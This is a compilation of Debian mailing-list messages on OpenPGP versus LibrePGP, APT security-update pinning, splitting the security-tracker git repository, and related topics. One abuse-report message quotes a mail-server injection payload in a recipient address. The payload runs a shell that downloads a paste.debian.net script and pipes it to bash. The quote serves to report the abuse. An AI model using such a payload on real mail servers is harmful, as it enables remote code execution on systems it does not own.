Re: Reaction to potential PGP schism

[Daniel Kahn Gillmor]

Hi Gioele--

On Thu 2023-12-21 11:02:06 +0100, Gioele Barabucci wrote:
> On 21/12/23 04:16, Daniel Kahn Gillmor wrote:
> As the Uploader of rust-sequoia-openpgp, what do you think of the 
> related sequoia-chameleon-gnupg project [1] (drop-in replacement for gpg 
> that uses sequoia internally)?
>
> Would it work as a stop-gap measure while the Debian infrastructure 
> moves from GnuPG to something else (to `sop`, for instance)?
>
> [1] https://gitlab.com/sequoia-pgp/sequoia-chameleon-gnupg not yet in 
> Debian AFAIK

Thanks for pointing this out!  It looks interesting, but i've never used
it (or even tested it) myself.  I don't think it can be a completely
perfect, feature-for-feature replacement for GnuPG, given the
overwhelming complexity and peculiarity of the GnuPG interface, but I
imagine it would work for some people, for some purposes.

I certainly wouldn't object to anyone packaging it for debian as long as
it ships its binary interface someplace other than /usr/bin/gpg.  Modulo
dealing with the rust dependencies, that seems like an obviously
reasonable and straightforward thing to try to do.

I don't know how the "chameleon" would compare with GnuPG itself in
terms of performance or some of the scaling concerns i mentioned in my
earlier e-mail, but such a straightforward deployment should make it
easy to test.

If you're asking about using /etc/alternatives or something like that to
provide some sort of generic swapping capability, or a dpkg Provides:,
such that /usr/bin/gpg on some systems would point toward the
"chameleon", i would want to see some significant archive-wide testing
done before we even consider inflicting that on our normal users.  This
would be the kind of thing that the experimental archive is designed
for.

One of the ongoing challenges with GnuPG development is the fear of
dropping or mis-handling some feature or flag or option or configuration
that someone has stuffed into some script somewhere and completely
forgotten about.  GnuPG itself deals with this kind of problem
regularly, and sometimes things like this do break during an upgrade.
Clawing the way back from such a break actually ends up making the
interface even more complex and surprising to those people who haven't
seen how it accreted in the first place :/ It was scary enough to change
/usr/bin/gpg to move from the 1.4 branch to the 2.x branch many years
ago (we shipped the 2.0 branch as /usr/bin/gpg2, and only finally made
/usr/bin/gpg update when the 2.1.x branch was sufficiently mature). And
even thenm we dealt with the fallout from that change for years
(e.g. see /usr/bin/migrate-pubring-from-classic-gpg in the gnupg-utils
package).  The differences were enough that I resisted using
/etc/alternatives to let each installation decide which package offered
/usr/bin/gpg1, because of the dangerous side effects of switching back
and forth (see #806904 for example, and the conversations at DebConf14).
I can only imagine that trying to ship the "chameleon" as /usr/bin/gpg
would face some of the same challenges, probably even more severely.

At best, something like this would be a stop-gap, as you say.  i
wouldn't want the long-term health of *PGP functionality in debian to
depend specifically on the command-line interface for /usr/bin/gpg,
regardless of who is implementing it.  Even GnuPG upstream appears to
agree with this sentiment, as they encourage programmatic users of GnuPG
to use libgpgme, which is supposed to hide some of the command-line
complexity.

  --dkg


signature.asc
Description: PGP signature

Re: Reaction to potential PGP schism

[Daniel Kahn Gillmor]

hey folks--

[ This message won't make sense unless the reader distinguishes clearly
  between OpenPGP the protocol and GnuPG the implementation! As a
  community we have a history of fuzzily conflating the two terms, which
  is one of the reasons that we're in this mess today.  Please read
  explicitly. ]

[ Background: for those who don't know, i've been a maintainer in debian
  of GnuPG and other OpenPGP-related tooling for several years, and i'm
  also the co-chair of the IETF's OpenPGP working group; i participated
  in many of the discussions that led to the current sorry situation,
  and it is happening despite my best efforts to avoid this problem.
  I'm probably as responsible for this situation as anyone in Debian
  is. My apologies. ]

The best outcome, in my opinion, would be for GnuPG to go ahead and
implement the pending updated OpenPGP specification (the so-called
"crypto-refresh"). I say this despite personally preferring some of the
concrete ways that i think the GnuPG project would have preferred to (as
indicated by the latest "LibrePGP" Internet-Draft, at least) diverge
from the OpenPGP specification.  There are enough other advantages to
the OpenPGP crypto-refresh that it doesn't make sense for GnuPG to
deliberately avoid implementing the community consensus. The GnuPG
project clearly has all the underlying cryptographic and engineering
capability to do this, if it wants to, and the OpenPGP crypto-refresh
process took deliberate measures to avoid collisions with any
prematurely deployed code that implements a draft that hadn't managed to
reach a rough consensus.

Can debian make GnuPG interoperate with the rest of the OpenPGP
ecosystem?  Probably not without GnuPG's cooperation: it would be a
substantial patchset to carry in Debian, and even trickier to do if
GnuPG upstream sees such a patchset as hostile.

Read on below if you want to consider some other options.

Stephan Verbücheln wrote:
> As you probably know, Debian relies heavily on GnuPG for various
> purposes, including:
> - developer communication
> - signing of tarballs and patches
> - automated processes such as update validation by APT

Debian by policy and by mechanism relies heavily on the OpenPGP protocol
for these things.  And i'd also add certificate verification, aka "web
of trust" for Debian developer identities to the list as well.

In particular, we use OpenPGP for cryptographic signing of software
source, packaging information, archive control, and distribution
mechanisms; for developer identities; and for cryptographic verification
of all of these things.  As a project, we don't make much use of the
encryption/decryption parts of OpenPGP, since we develop mainly in the
open.  But not everyone uses GnuPG for these purposes.  There are
multiple interoperable OpenPGP implementations in Debian beyond the
GnuPG family (C), including RNP (C/C++), pgpainless (java), pgpy
(Python), GOpenPGP (Go), hOpenPGP (haskell), and Sequoia (Rust).

But it is also true that the GnuPG implementation specifically is baked
into some of our infrastructure.  I'll get into why that is below (see
"Why is GnuPG on Debian's Critical Path?").

> How can Debian deal with this? Should Debian intervene to prevent the
> worst?

I don't think Debian can make a specific intervention that will avoid
the global problem, but i think there are things we can consider going
forward.

One possible approach is to drop the use of OpenPGP (or "LibrePGP")
entirely, and instead base our internal cryptographic dependencies on
bespoke cryptographic implementations.

I think that would be a mistake.

I do not want Debian's long-term health to depend on any particular
implementation.  If the implementation fails then we would have to (as a
project) decide on our own upgrade path.  For a failure due to
cryptanalytic advances, that can be particularly harrowing: I don't
think we as a project have the necessary expertise to do that well.  For
failures due to buggy implementations, we can always patch, but i wonder
about the amount of cryptanalytic review a bespoke implementation will
have as opposed to publicly audited generic tooling.

If we have to decide as a project on LibrePGP vs. OpenPGP, i'd prefer
the wider community project with a stable reference, functioning (albeit
sometimes rough) consensus, a range of diverse implementations, and
substantial public interoperability testing.  That means OpenPGP.

To be clear, the IETF OpenPGP working group actively solicited input
from the GnuPG team, and tried to work with the project as one
significant implementation among many.  But ultimately, the GnuPG
project decided to break away from the community process, and created
this "LibrePGP" split, which threatens interoperability for the *PGP
ecosystem as a whole.  Maybe the end result of this will be to put a
nail in *PGP's coffin, and we'll all just go back to bespoke
cryptographic implementations that have no stable reference other than
the source code, and little 

Re: Setting APT::Default-Release prevents installation of security updates in bookworm!?

[Daniel Gröber]

Hi Paul,

On Sat, Jul 22, 2023 at 03:56:02PM +0800, Paul Wise wrote:
> > One mention I found is in Raphaël and Roland's DAH (now in CC):
> > https://debian-handbook.info/browse/stable/sect.apt-get.html#sect.apt-upgrade
> 
> Probably better to file a bug about this, so it is tracked.

Ah, I didn't realise debian-handbook has a package in the archive :)

Done, Bug#1041706: debian-handbook: Wrong advice on APT::Default-Release 
preventing security updates.

> > What I don't understand is why the security repo codename wasn't changed to
> > $codename/security? Wouldn't that be handled correctly by APT? Unless the
> > /update string in particular had special handling?
> 
> You will have to ask the apt developers and archive admins about this,
> but at the end of the day reverting it is unlikely to happen, so
> probably it is something everyone will just have to learn to live with.

I've had a quick look at the apt code now and indeed it seems to handle
$codename/$whatever as equivalent to $codename, see metaIndex::CheckDist.

I don't see why we couldn't revert this change. Anybody who's applied the
hack from the bullseye release-notes will be unaffected as the regex will
still match a plain code/suite-name but people who never applied this
advice will get their security updates back.

I've sent a bug to apt as well, just about the doc references for now:
Bug#1041708: apt: Manpages have wrong advice on APT::Default-Release
preventing security updates.

Who do I contact about the archive aspects? FTP-master or the
security-team? The security-team is in CC on the doc bugs so I'm hoping
they will see it anyway.

Thanks,
--Daniel

Re: Setting APT::Default-Release prevents installation of security updates in bookworm!?

[Daniel Gröber]

Hi Paul,

On Fri, Jul 21, 2023 at 10:17:28AM +0800, Paul Wise wrote:
> On Thu, 2023-07-20 at 22:12 +0200, Daniel Gröber wrote:
> 
> > It seems packages from the debian-security repository are not affected by
> > this increased priority and will not get intalled as a result.
> 
> This was documented in the release notes for Debian bullseye:
> 
> https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

Now that you mention it I remember reading this and getting quite
irritated. Probably why I forgot about it.

Do you have any references on how this decision came to be?

> I have updated a few wiki pages that mention APT::Default-Release too.
> 
> https://wiki.debian.org/DebianUnstable?action=diff=144=145
> https://wiki.debian.org/DebianEdu/Status/Bullseye?action=diff=107=108
> https://wiki.debian.org/Wajig?action=diff=20=21
> https://wiki.debian.org/FunambolInstallation?action=diff=9=10
> 
> If there is other documentation of APT::Default-Release that should get
> updated, please let us know so that we can fix it.

One mention I found is in Raphaël and Roland's DAH (now in CC):
https://debian-handbook.info/browse/stable/sect.apt-get.html#sect.apt-upgrade

The places I'm most concerned about, people's brains and random web sites,
aren't so easily fixed unfortunately. Advice to set this is splattered all
over the web, I really don't understand why we made a change so seemingly
ill advised as this?

A web search for "Debian Default-Release security" didn't reveal anything
talking about this problem, especially not our release notes, so I think
this change didn't get the publicity it deserves at the very least.

What I don't understand is why the security repo codename wasn't changed to
$codename/security? Wouldn't that be handled correctly by APT? Unless the
/update string in particular had special handling?

Thanks,
--Daniel

Setting APT::Default-Release prevents installation of security updates in bookworm!?

[Daniel Gröber]

Hi debian-security,

I've just noticed something rather distressing. As part of my usual Debian
installation I set `APT::Default-Release "stable";` which causes a change
of apt priorities for packages from this release (or so I thought) from the
usual 500 to 990. This is recommended in various places, but I don't recall
if d-i sets this up by default or not.

It seems packages from the debian-security repository are not affected by
this increased priority and will not get intalled as a result. Note:
`apt-cache policy` tends to lie. I observed this by actually trying to
install a kernel update from d-security that should get installed but
doesn't.

As soon as I remove the Default-Release line from apt.conf the update gets
offered for installation. Has anyone else observed this or is something
broken in my apt config somewhere?

--Daniel

Re: deb.debian.org vs security.debian.org

[Daniel Lewart]

Georgi Naplatanov wrote:

> I have no opinion but found this
> https://wiki.debian.org/SourcesList

SZÉPE Viktor wrote:

> And there is this
> https://wiki.debian.org/NewInBullseye#Changes

Both of these were referenced in my original message:
https://lists.debian.org/debian-devel/2021/08/msg00166.html

Dan
Urbana, Illinois

deb.debian.org vs security.debian.org

[Daniel Lewart]

Debian Security,

Is there a preferred sources.list URI for the Debian security
repository between:
  * http://deb.debian.org/debian-security
  * http://security.debian.org/debian-security

I asked in debian-devel and received two replies:
  * https://lists.debian.org/debian-devel/2021/08/msg00166.html
  * https://lists.debian.org/debian-devel/2021/08/msg00167.html
  * https://lists.debian.org/debian-devel/2021/08/msg00172.html
but no consensus.

Thank you!
Daniel Lewart
Urbana, Illinois

Re: Misuse/Abuse

[Daniel Leidert]

Am Dienstag, den 13.10.2020, 08:51 +0200 schrieb Knieling, Christian (IANM):
> To whom this may concern,
> 
> I got a system message from my mailer daemon lately. It contains
> 
>  cut 
> Message 1kS01n-0008Kv-Nb has been frozen (delivery error message).
> The sender is <>.
> 
> The following address(es) have yet to be delivered:
> 
> ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t-O\t-
> \thttps\x3A\x2F\x2Fpaste\x2Edebian\x2Enet\x2Fdownloadh\x2Fb8e3188e\t\x7C\tbas
> h\x22}}@ianm-mang.math.kit.edu:
> Too many "Received" headers - suspected mail loop
>  cut 
[..]
> I don't know if this messages reaches the right persons, but someone may
> forward it. You may at least remove the files which are accessible on
> paste.debian.net.

Clearly someone tries to run a command put as an address. Out of curiosity:
Which kind of vulnerability are they trying to use here?

Regards, Daniel
-- 
Regards,
Daniel Leidert  | https://www.wgdd.de/
GPG-Key RSA4096 / BEED4DED5544A4C03E283DC74BCD0567C296D05D
GPG-Key ED25519 / BD3C132D8B3805D1808123AB7ACE00941E338C78

If you like my work consider sponsoring me via
https://www.patreon.com/join/dleidert


signature.asc
Description: This is a digitally signed message part

Bug#948634: debian-security-support: please elaborate on binutils' status

[Daniel Shahaf]

Package: debian-security-support
Version: 2019.06.13
Severity: important
Tags: patch
Control: affects -1 binutils

Dear Maintainer,

Now that binutils has limited security support, please elaborate on its
status.  Suggested patch (against current git):

--- a/security-support-limited
+++ b/security-support-limited
@@ -7,7 +7,7 @@
 #In the program's output, this is prefixed with "Details:"
 
 adnsStub resolver that should only be used with trusted recursors
-binutilsNot covered by security support
+binutilsOnly suitable for trusted content; see 
https://lists.debian.org/msgid-search/87lfqsomtg@mid.deneb.enyo.de
 ganglia See README.Debian.security, only supported behind an 
authenticated HTTP zone, #702775
 ganglia-web See README.Debian.security, only supported behind an 
authenticated HTTP zone, #702776
 glpiOnly supported behind an authenticated HTTP zone for trusted 
users

@Florian That linked message is yours; any objections from you?

Thanks,

Daniel

P.S. Priority "important" since binutils' rdeps include dpkg-dev, gcc,
and clang, so I assume this is quite visible.

Re: Why no security support for binutils? What to do about it?

[Daniel Reichelt]

> Some of its checks look inherently dangerous, e.g. the bash -n check for 
> shell syntax.

Why would bash -n be dangerous?



signature.asc
Description: OpenPGP digital signature

Re: New wifite repo?

[Daniel Echeverry]

Hi Sophie!

El mar., 10 de dic. de 2019 a la(s) 05:24, Sophie Brun (sop...@freexian.com)
escribió:

> Hi Daniel,
>
>
> Le 26/11/2019 à 16:14, Daniel Echeverry a écrit :
> > Hi!
> > [..]
> > I wrote to the upstream, and he will make a new release this weekend,
> once it's done, I will work in package this version.
> >
>
> I had to update wifite for Kali even if upstream didn't make a new
> release. I took a git snapshot.
> I push the changes on Debian salsa. If you want to check it before we ask
> for upload.
>
> Thanks,
> Sophie
>

For me is ok, go ahead!

Aditionality, I updated my email address.

Regards.

-- 
Daniel Echeverry
Debian Developer
https://wiki.debian.org/DanielEcheverry
Linux user: #477840
GPG Fingerprint:
D0D0 85B1 69C3 BFD9 4048 58FA 21FC 2950 4B52 30DB

Bug#908678: Split file repo v2

[Daniel Lange]

as requested in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=908678#139
we have created a data/CVE/.list repo ("v2") during MiniDebConf HH

It is mirrored at Salsa:
https://salsa.debian.org/dlange/debian_security_security-tracker_split_files_v2

Bug#908678: Update on the security-tracker git discussion

[Daniel Lange]

Am 06.06.19 um 07:31 schrieb Salvatore Bonaccorso:

Could you again point me to your splitted up variant mirror?


https://git.faster-it.de/debian_security_security-tracker_split_files/

Bug#908678: Update on the security-tracker git discussion

[Daniel Lange]

Zobel brought up the security-tracker git discussion in the 
#debian-security irc channel again and I'd like to record a few of the 
items touched there for others that were not present:


DLange has a running mirror of the git repo with split files since three 
months. This is based on anarcat's scripts published previously in this 
bug. The rewriting mirror repo works flawlessly. All history is retained 
sans gpg commit signatures.


Corsac noted that "redoing the tooling is a pain" and anarcat and DLange 
iterated we are willing to help fix the tools. But we need a commitment 
from the security-team that the migration to a split file repo is 
wanted. And we need a prioritized list of tools that need to be 
split-files enabled.


The discussion iterated that "moving elsewhere" doesn't really fix the 
underlying git-usage issue. So while this would take load off salsa, it 
will not improve clone times and hamper collaboration with Debian people 
outside the security team.


Still - to gain some data - DLange tried to push the security-tracker 
repo to github. This bails out as the history contains a file > 100MB 
(hard limit for Github):


remote: error: GH001: Large files detected. You may want to try Git 
Large File Storage - https://git-lfs.github.com.

[..]
remote: error: File data/CVE/allitems.html is 111.44 MB; this exceeds 
GitHub's file size limit of 100.00 MB


So we would have to re-write history for pushing to GitHub. Commits from 
2017-12-29 that introduce "data/CVE/allitems.html" and drop it again 
would need to be modified. Technically all commits after these have to 
be re-written as well. I have not tested whether Github supports 
refs/replace substitutes which would be a work-around.


As noticeable on Salsa and per 
https://gitlab.com/gitlab-com/support-forum/issues/230 Gitlab does not 
enforce per-file size limits.
But the pain of hosting and using this repo is not really different for 
any Gitlab instance.


So that means self-hosting of a non-split-file repo would probably have 
to be on a security DSA machine or similar.


Again, as said above, discussion participants outside the security team 
would prefer a commitment to split the offending data/CVE/list file into 
annual chunks, enable the tooling and stay on salsa.

Bug#908678: Testing the filter-branch scripts

[Daniel Lange]

Am 13.11.18 um 23:09 schrieb Moritz Muehlenhoff:
> The current data structure works very well for us and splitting the files
> has many downsides.

Could you detail what those many downsides are besides the scripts that
need to be amended?

Bug#908678: Testing the filter-branch scripts

[Daniel Lange]

> The Python job finished successfully here after 10 hours.
6h40 mins here as I ported your improved logic to the python2 version :).

# git filter-branch --tree-filter '/usr/bin/python2 /split-by-year.pyc' HEAD
Rewrite 1169d256b27eb7244273671582cc08ba88002819 (68356/68357) (24226 seconds 
passed, remaining 0 predicted)
Ref 'refs/heads/master' was rewritten

The tree-filter blows up the .git/objects store to 13G though.
But nothing a git gc can't fix.

> 
> I did some tests on the new git repository. Cloning the repository from
> scratch takes around 2 minutes (the original repo: 21 minutes).
Confirmed.

> So that's about it. I have not done a thorough job at checking the
> actual *integrity* of the results. It's difficult, considering CVE
> identifiers are not sequential in the data/CVE/list file, so a naive
> diff like this will fail:
> 
> $ diff -u <(cat 
> ../security-tracker-full-test-filtered-bis/data/CVE/list.{2019,2018,2017,2016,2015,2014,2013,2012,2011,2010,2009,2008,2007,2006,2005,2004,2003,2002,2001,2000,1999}
>  ) data/CVE/list | diffstat
>  list |106562 
> +--
>  1 file changed, 53281 insertions(+), 53281 deletions(-)
> 
> But at least the numbers add up: it looks like no line is lost. And
> indeed, it looks like all CVEs add up:
> 
> $ diff -u <(cat 
> ../security-tracker-full-test-filtered-bis/data/CVE/list.{2019,2018,2017,2016,2015,2014,2013,2012,2011,2010,2009,2008,2007,2006,2005,2004,2003,2002,2001,2000,1999}
>  | grep ^CVE | sort -n ) <( grep ^CVE data/CVE/list | sort -n  ) | diffstat
>  0 files changed
> 
> A cursory look at the diff seems to indicate it is clean, however.

I uploaded "my" version to https://people.debian.org/~dlange/
so people can poke the log and diffs and see whether there are any
issues left.

> I looked at splitting that file per CVE. That did not scale and just
> created new problems. But splitting by *year* seems like a very
> efficient switch, and I think it would be worth pursuing that idea
> forward.

The tools in bin/ would need a brush through. I.e. throw away the
unused ones and amend the ones that are used on data/CVE/* to learn
about the split files.

Bug#908678: Some more thoughts and some tests on the security-tracker git repo

[Daniel Lange]

The main issue is that we need to get clone and diff+render operations
back into normal time frames. The salsa workers (e.g. to render a
diff) time out after 60s. Similar time constraints are put onto other
rendering frond-ends. Actually you can easily get Apache to segfault
if you do not time-constrain cgi/fcgi type processes.
But that's out of scope here.

Back on topic:

Just splitting the file will not do. We need to (unfortunately)
somehow "get rid" of the history (delta-resolution) walks in git:

# test setup limits: Network bw: 200 MBit, client system: 4 core

$ time git clone https://.../debian_security_security-tracker
Klone nach 'debian_security_security-tracker' ...
remote: Counting objects: 334274, done.
remote: Compressing objects: 100% (67288/67288), done.
remote: Total 334274 (delta 211939), reused 329399 (delta 208905)
Empfange Objekte: 100% (334274/334274), 165.46 MiB | 21.93 MiB/s, 
Fertig.
Löse Unterschiede auf: 100% (211939/211939), Fertig.

real14m13,159s
user27m23,980s
sys 0m17,068s

# Run the tool already available to split the main CVE/list
# file into annual files. Thanks Raphael Geissert!
$ bin/split-by-year

# remove the old big CVE/list file
$ git rm data/CVE/list

# get the new files into git
$ git add data/CVE/list.*
$ git commit --all
[master a06d3446ca] Remove list and commit bin/split-by-year results
 21 files changed, 342414 insertions(+), 342414 deletions(-)
 delete mode 100644 data/CVE/list
 create mode 100644 data/CVE/list.1999
 create mode 100644 data/CVE/list.2000
 create mode 100644 data/CVE/list.2001
 create mode 100644 data/CVE/list.2002
 create mode 100644 data/CVE/list.2003
 create mode 100644 data/CVE/list.2004
 create mode 100644 data/CVE/list.2005
 create mode 100644 data/CVE/list.2006
 create mode 100644 data/CVE/list.2007
 create mode 100644 data/CVE/list.2008
 create mode 100644 data/CVE/list.2009
 create mode 100644 data/CVE/list.2010
 create mode 100644 data/CVE/list.2011
 create mode 100644 data/CVE/list.2012
 create mode 100644 data/CVE/list.2013
 create mode 100644 data/CVE/list.2014
 create mode 100644 data/CVE/list.2015
 create mode 100644 data/CVE/list.2016
 create mode 100644 data/CVE/list.2017
 create mode 100644 data/CVE/list.2018

# this one is fast:
$ git push

# create a new clone
$ time git clone 
https://.../debian_security_security-tracker_split_files test-clone
Klone nach 'test-clone' ...
remote: Counting objects: 334298, done.
remote: Compressing objects: 100% (67312/67312), done.
remote: Total 334298 (delta 211943), reused 329399 (delta 208905)
Empfange Objekte: 100% (334298/334298), 168.91 MiB | 21.28 MiB/s, 
Fertig.
Löse Unterschiede auf: 100% (211943/211943), Fertig.

real14m35,444s
user27m45,500s
sys 0m21,100s

--> so splitting alone doesn't help. Git is not clever enough to not run
through the deltas of not to be checked-out files.

git 2.18's git2 wire protocol could be used with server-side filtering
but that's an awful hack. Telling people to

git clone --depth 1 #(shallow)

like Guido advises is easier and more reliable for the clone use-case.
For the original repo that will take ~1.5s, for a split-by-year repo ~0.2s.

There are tools to split git files and keep the history
e.g. https://github.com/potherca-bash/git-split-file
but we'd need (to create) one that also zaps the old deltas.
So really "rewrite history" as the git folks tend to call this.
git filter-branch can do this. But it would get somewhat complex and murky
with commits that span CVE/list-year and list-year+1 which are at least 21 for
2018+2017, 19 for 2017+2016 and ~10 for previous year combos.
So I wouldn't put too much effort into that path.

In any case, a repo with just the split files but no maintained history clones
in ~12s in the above test setup. It also brings the (bare) repo down from 3,3GB
to 189MB. So the issue is really the data/CVE/list file.

That said, data/DSA/list is 14575 lines. That seems to not bother git too much
yet. Still if things get re-structured, this file may be worth a look, too.

To me the most reasonable path forward unfortunately looks like start a new repo
for 2019+ and "just" import the split files or single-record files as mentioned
by pabs but not the git/svn/cvs history. The old repo would - of course - stay
around but frozen at a deadline.

Corsac also mentioned on IRC that the repo could be hosted outside of Gitlab.
That would reduce the pressure for some time.
But cgit and other git frontends (as well as 

new version of wifite

[Daniel Echeverry]

Hi Team!

I am working a new version of wifite[1], Could someone check it out?

Thank you very much!

Regards

[1]: https://salsa.debian.org/pkg-security-team/wifite/

-- 
Daniel Echeverry
http://wiki.debian.org/DanielEcheverry
http://rinconinformatico.net
Linux user: #477840
Debian user

Re: Pantalla fija con dibujos bloquea el ordenador

[DANIEL ROMO]

alt+tab


--

*Daniel Romo*

d4nnr.blogspot.com.co #Blog_Personal

El 11 de enero de 2018, 10:45, DANIEL ROMO<danielromogar...@gmail.com>
escribió:

> Hola
>
> puedes enviar un print screen ? (con tu celular)
>
>
>  amt+tab para cambiar de ventana es una solución
>
> ;)
>
>
>
> --
>
> *Daniel Romo*
>
> d4nnr.blogspot.com.co #Blog_Personal
>
> El 11 de enero de 2018, 02:42, R Calleja<rcalle...@gmail.com> escribió:
>
>> Hola buenos dias, alquien puede ayudarme.
>> De vez en cuando, al abrir el navegador normalmente, sale una imagen
>> que oculta el escritorio y me impide seguir trabajando.
>> Tengo que reiniciar el equipo.
>> Trabajo con debian jessie.
>>
>> Saludos, Roberto.
>>
>>
>

Re: Pantalla fija con dibujos bloquea el ordenador

[DANIEL ROMO]

Hola

puedes enviar un print screen ? (con tu celular)


 amt+tab para cambiar de ventana es una solución

;)



--

*Daniel Romo*

d4nnr.blogspot.com.co #Blog_Personal

El 11 de enero de 2018, 02:42, R Calleja<rcalle...@gmail.com> escribió:

> Hola buenos dias, alquien puede ayudarme.
> De vez en cuando, al abrir el navegador normalmente, sale una imagen
> que oculta el escritorio y me impide seguir trabajando.
> Tengo que reiniciar el equipo.
> Trabajo con debian jessie.
>
> Saludos, Roberto.
>
>

Re: Unsuscribe

[Daniel Hadfield]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

You need to use the web form:
https://www.debian.org/MailingLists/unsubscribe


On 01/11/17 13:55, Donald Haley wrote:
> Please unsuscribe me. > > Thanks
-BEGIN PGP SIGNATURE-

iQFIBAEBCgAyFiEErEVwVy+FOWKYCpbdrygR60hkMfgFAln53I0UHGRhbkBwaW5n
c3dlZXAuY28udWsACgkQrygR60hkMfiayQgAnKlYPiciiBRUwIerA4uM9fYEDEHS
ql4gwN8IsZpL2d9ArT5XW5sAmLrDK75P62P8SY9stiA1H82W+rOMAg0FNfMowd2m
T8O4RM++jjWEnF74FZHpESTZTCY9M62imCBZ3fnO+a2Ce49v0zFH/eC2AdIE1Vq7
1U6YNGp6nBJdGMtvnuv0voh6jmlOLia1uwpA6iB0D8HvcOsm7rY+6+22l9kAbjtc
+hkqD04QMvGEZxRlJB0QdzOZFZpXnukKq8Jyjkx+6lMuitep+MCE7hLrIUlKr4zV
K/vUc56Zbppk8IoJjjOHboCt9fvBuoCreLRiImBy1Cnnm1Y4m2Tucg3juw==
=ILyQ
-END PGP SIGNATURE-

Re: [SECURITY] [DSA 3909-1] samba security update

[Daniel Reichelt]

On 14.07.2017 16:19, Sven Hartge wrote:
> For me the binary packages have dependencies unfulfillable in Jessie:
> 
> The following packages have unmet dependencies:
>  samba-common-bin : Depends: libncurses5 (>= 6) but 5.9+20140913-1+b1 is
> to be installed
> Depends: libreadline7 (>= 6.0) but it is not installable
> Depends: libtinfo5 (>= 6) but 5.9+20140913-1+b1 is
> to be installed
> Depends: samba-libs (= 2:4.2.14+dfsg-0+deb8u7) but
> 2:4.2.14+dfsg-0+deb8u6 is to be installed


Same here. Thanks for jumping in and reporting this, I wasn't sure if I
hadn't just messed up my apt-pinning...


> The 32bit i386 packages on the hand are fine, probably because they
> were built by a buildd.


On an i386 VM the upgrade ran fine here as well.



Cheers
Daniel





signature.asc
Description: OpenPGP digital signature

Re: Some Debian package upgrades are corrupting rsync "quick check" backups

[Daniel Reichelt]

On 01/28/2017 03:51 PM, Holger Levsen wrote:
> On Sat, Jan 28, 2017 at 03:04:56PM +0100, Daniel Reichelt wrote:
>> I highly suspect this stems from packages' rules files supporting
>> reproducible builds.
> 
> I rather think this is due to binNMUs not modifying debian/changelog…
> (in the source package while it's modified in the binary packages…)
> 

Makes sense. Thanks for the clarification, Holger.




signature.asc
Description: OpenPGP digital signature

Re: Some Debian package upgrades are corrupting rsync "quick check" backups

[Daniel Reichelt]

Hi,

I highly suspect this stems from packages' rules files supporting
reproducible builds.

The only way I see to solve this would be for the "reproducible builds"
infrastructure to hard-wire new timestamps at release-time of a new
package version.

Also: this is not limited to rsync. Basically any tool relying on
(mtime/file size) as a changed indicator is affected by this. Even if
the tool in question relied on (mtime/file size/inode number), "changed
checks" could be subverted in situations where changes are made to the
file directly instead of writing a new file and moving it into place
(thus retaining the inode number).


Cheers
Daniel



signature.asc
Description: OpenPGP digital signature

CVE 2016-2107 OpenSSL 1.0.1e-2+deb7u21

[Daniel L. Srebnick]

OpenSSL 1.0.1e-2+deb7u21 purports to have fixed CVE-2016-2107.

However, an SSL Labs check of a site running this version still comes
up with the issue:

https://www.ssllabs.com/ssltest/analyze.html?viaform=on=www.k2dls.net

So which is correct, is the issue is resolved in the referencee version
and SSL Labs is wrong or does the issue still exist.  Can anyone else
independently evaluate and confirm?

Re: [SECURITY] [DSA 3654-1] quagga security update

[Daniel Chen]

unsubscrbe


On Thu, Aug 25, 2016 at 11:03 PM, Sebastien Delafond  wrote:

> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA512
>
> - 
> -
> Debian Security Advisory DSA-3654-1   secur...@debian.org
> https://www.debian.org/security/   Sebastien Delafond
> August 26, 2016   https://www.debian.org/security/faq
> - 
> -
>
> Package: quagga
> CVE ID : CVE-2016-4036 CVE-2016-4049
> Debian Bug : 822787 835223
>
> Two vulnerabilities were discovered in quagga, a BGP/OSPF/RIP routing
> daemon.
>
>   CVE-2016-4036
>
>  Tamás Németh discovered that sensitive configuration files in
>  /etc/quagga were world-readable despite containing sensitive
>  information.
>
>   CVE-2016-4049
>
> Evgeny Uskov discovered that a bgpd instance handling many peers
> could be crashed by a malicious user when requesting a route dump.
>
> For the stable distribution (jessie), these problems have been fixed in
> version 0.99.23.1-1+deb8u2.
>
> We recommend that you upgrade your quagga packages.
>
> Further information about Debian Security Advisories, how to apply
> these updates to your system and frequently asked questions can be
> found at: https://www.debian.org/security/
>
> Mailing list: debian-security-annou...@lists.debian.org
> -BEGIN PGP SIGNATURE-
>
> iQEcBAEBCgAGBQJXv7uWAAoJEBC+iYPz1Z1k9gEIAIJFfP8HBGxxk0wi9VtvH8YP
> ns5vxN2NJecHqaSK9KGVq1HPn14/mlSu+ylhdSJ9tFyU7ELoqbkrGH4C4EqH3FnJ
> 2sHQLdJ82It9/W4OzXf0+WXW9gUOKS4SvkhSphuGJL9DNJRclb3LGYUnRBzP7qhB
> w5tR1/tKNYqpgMUzFauHt1dDmWhNr3T0++ejFOJv6S1VAFGTDFFBhNoLD3wT25gd
> aAgGFUfYWkGqz+vhcHGBXD1w4x8+SjBQ4jycIUoGHMNDfIu9rb/R2xVbl6XDzZXZ
> NIB9aL3c6KU4MILl9MGt2YVbKlYgf7Yuc4c7ZyrZ+YwamwveVhdZwEBwWx7Hiog=
> =SWnF
> -END PGP SIGNATURE-
>
>

-- 



 CAUTION - Disclaimer *

*This e-mail communication (including any and all attachments transmitted with 
it) may contain legally privileged and confidential information and is intended 
solely for the use of the recipient named. If the reader of this e-mail 
communication is not the intended recipient, you are hereby notified that any 
reading, dissemination, distribution, copying, or other use of this e-mail 
communication (including any and all attachments), or any of its contents, is 
strictly prohibited. If you have received this e-mail communication in error, 
please notify the sender immediately by electronic mail (sender's e-mail 
address). Thereafter, immediately delete the original e-mail communication 
(including any and all attachments), all copies, including but not limited to, 
all backups thereof from your computer system.  Thank you*
** End of Disclaimer ***OliveTech**

Re: [SECURITY] [DSA 3621-1] mysql-connector-java security update

[Daniel Boshier]

Uhpppopppiujiki
MN
I have
.. buy bio
Yg.viuuu


On 18 Jul 2016 17:32, "Salvatore Bonaccorso"  wrote:

> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA512
>
> - -
> Debian Security Advisory DSA-3621-1   secur...@debian.org
> https://www.debian.org/security/ Salvatore Bonaccorso
> July 18, 2016 https://www.debian.org/security/faq
> - -
>
> Package: mysql-connector-java
> CVE ID : CVE-2015-2575
>
> A vulnerability was discovered in mysql-connector-java, a Java database
> (JDBC) driver for MySQL, which may result in unauthorized update, insert
